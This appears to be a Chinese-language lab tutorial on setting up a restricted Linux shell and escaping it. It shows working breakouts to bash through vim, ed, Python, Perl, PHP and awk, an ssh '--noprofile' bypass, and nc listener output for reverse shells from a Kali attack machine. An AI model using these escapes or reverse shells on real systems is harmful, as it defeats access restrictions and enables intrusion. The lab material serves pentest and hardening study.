[root@localhost ~]# passwd yongz Changing password for user yongz. New password: Retype new password: passwd: all authentication tokens updated successfully.
在新用户的文件夹内创建一个 bin 目录:
1 2 3
[root@localhost ~]# mkdir /home/yongz/bin [root@localhost ~]# ls -ld /home/yongz/bin drwxr-xr-x. 2 root root 6 Nov 13 02:35 /home/yongz/bin
比如,我们允许用户仅运行 ls 、 mkdir 、和 ping 这三个命令。
当然,你还可以添加其它你允许用户运行的命令:
注:添加命令,其实就是给这个命令创建一个软件链接。
1 2 3 4 5 6 7 8
[root@localhost ~]# ln -s /bin/ls /home/yongz/bin/ls [root@localhost ~]# ln -s /bin/mkdir /home/yongz/bin/mkdir [root@localhost ~]# ln -s /bin/ping /home/yongz/bin/ping [root@localhost ~]# ls -l /home/yongz/bin total 0 lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping
[yongz@localhost ~]$ ls /home/yongz/bin -l total 0 lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping lrwxrwxrwx. 1 root root 12 Nov 13 03:25 vim -> /usr/bin/vim
敲击 VIM 命令,打开 VIM 窗口,进入命令模式,输入如下内容设置变量:
1
:set shell=/bin/bash
之后再此进入命令模式,输入:
1
:shell
这时会退出 VIM 窗口,进入 Bash Shell:
1 2 3 4 5 6
[yongz@localhost ~]$ vim
bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found
[yongz@localhost ~]$ ls /home/yongz/bin -l total 0 lrwxrwxrwx. 1 root root 11 Nov 13 03:46 ed -> /usr/bin/ed lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping
敲击 ed 命令,打开 ed 输入如下命令:
1 2 3 4 5 6 7 8
[yongz@localhost ~]$ ed !'/bin/bash' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 /bin/bash
[yongz@localhost ~]$ ls /home/yongz/bin -l total 0 lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping lrwxrwxrwx. 1 root root 15 Nov 13 12:43 python -> /usr/bin/python
使用 Python 开启一个新的虚拟终端:
1 2 3 4 5 6 7
[yongz@localhost ~]$ python -c 'import pty;pty.spawn("/bin/bash")' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 /bin/bash
下面这种也可以:
1 2 3 4 5 6 7
[yongz@localhost ~]$ python -c 'import os; os.system("/bin/bash")' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 /bin/bash
[yongz@localhost ~]$ ls /home/yongz/bin -l total 0 lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir lrwxrwxrwx. 1 root root 13 Nov 13 12:48 perl -> /usr/bin/perl lrwxrwxrwx. 1 root root 9 Nov 13 02:37 ping -> /bin/ping
使用 Perl 开启一个新的虚拟终端:
1 2 3 4 5 6 7
[yongz@localhost ~]$ perl -e 'system("/bin/bash")' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 /bin/bash
[yongz@localhost ~]$ ls /home/yongz/bin -l total 0 lrwxrwxrwx. 1 root root 11 Nov 13 03:46 ed -> /usr/bin/ed lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir lrwxrwxrwx. 1 root root 12 Nov 13 12:52 php -> /usr/bin/php
使用 php 开启一个新的虚拟终端:
1 2 3 4 5 6 7 8
[yongz@localhost ~]$ php -r 'exec("/bin/bash");' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 [yongz@localhost ~]$ cd /tmp [yongz@localhost tmp]$
[yongz@localhost ~]$ ls /home/yongz/bin -l total 0 lrwxrwxrwx. 1 root root 12 Nov 13 12:54 awk -> /usr/bin/awk lrwxrwxrwx. 1 root root 11 Nov 13 03:46 ed -> /usr/bin/ed lrwxrwxrwx. 1 root root 7 Nov 13 02:36 ls -> /bin/ls lrwxrwxrwx. 1 root root 10 Nov 13 02:36 mkdir -> /bin/mkdir
使用 awk 开启一个新的虚拟终端:
1 2 3 4 5 6 7
[yongz@localhost ~]$ awk 'BEGIN {system("/bin/bash")}' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 /bin/bash
Reverse Shell
Python
在攻击机中开启一个 nc 监听:
1 2 3
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ...
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.137: inverse host lookup failed: Unknown host connect to [10.10.8.15] from (UNKNOWN) [10.10.8.137] 43396 bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 echo $0 /bin/bash
Perl
在攻击机中开启一个 nc 监听:
1 2 3
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ...
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.137: inverse host lookup failed: Unknown host connect to [10.10.8.15] from (UNKNOWN) [10.10.8.137] 43398 bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 echo $0 /bin/bash
PHP
在攻击机中开启一个 nc 监听:
1 2 3
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ...
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.137: inverse host lookup failed: Unknown host connect to [10.10.8.15] from (UNKNOWN) [10.10.8.137] 43400 echo $0 /bin/bash python -c 'import pty;pty.spawn("/bin/bash")' bash: tty: command not found bash: pkg-config: command not found bash: /yum: No such file or directory /usr/libexec/grepconf.sh: line 5: grep: command not found [yongz@localhost ~]$ echo $0 echo $0 /bin/bash
root at kali in ~ $ ssh yongz@10.10.8.137 -p 22 -t "bash --noprofile" The authenticity of host '10.10.8.137 (10.10.8.137)' can't be established. ED25519 key fingerprint is SHA256:DvDXdimCNufU7uj/GsAY9uTAgtAkPZJpswsa1c/BSbE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.8.137' (ED25519) to the list of known hosts. yongz@10.10.8.137's password: [yongz@localhost ~]$ echo $0 bash [yongz@localhost ~]$ echo $PATH /usr/local/bin:/usr/bin